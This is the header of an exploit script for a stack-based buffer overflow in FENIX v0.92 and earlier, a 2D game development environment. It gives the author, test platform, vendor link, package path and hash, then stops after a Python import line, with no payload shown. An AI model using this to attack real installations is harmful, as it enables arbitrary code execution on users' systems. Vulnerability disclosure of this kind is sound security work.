# Exploit Author: Juan Sacco - http://www.exploitpack.com <jsacco@exploitpack.com># Program: fenix - development environment for making 2D games# Tested on: GNU/Linux - Kali Linux 2.0## Description: FENIX v0.92 and prior is prone to a stack-based buffer overflow# vulnerability because the application fails to perform adequate# boundary-checks on user-supplied input.## An attacker could exploit this issue to execute arbitrary code in the# context of the application. Failed exploit attempts will result in a# denial-of-service condition.## Vendor homepage: http://fenix.divsite.net/# Kali Linux 2.0 package: http.kali.org_kali_dists_sana_main_binary-i386_Packages# MD5: 38bc1c509eb023c24a58cda0c5db19d9import os,subprocess
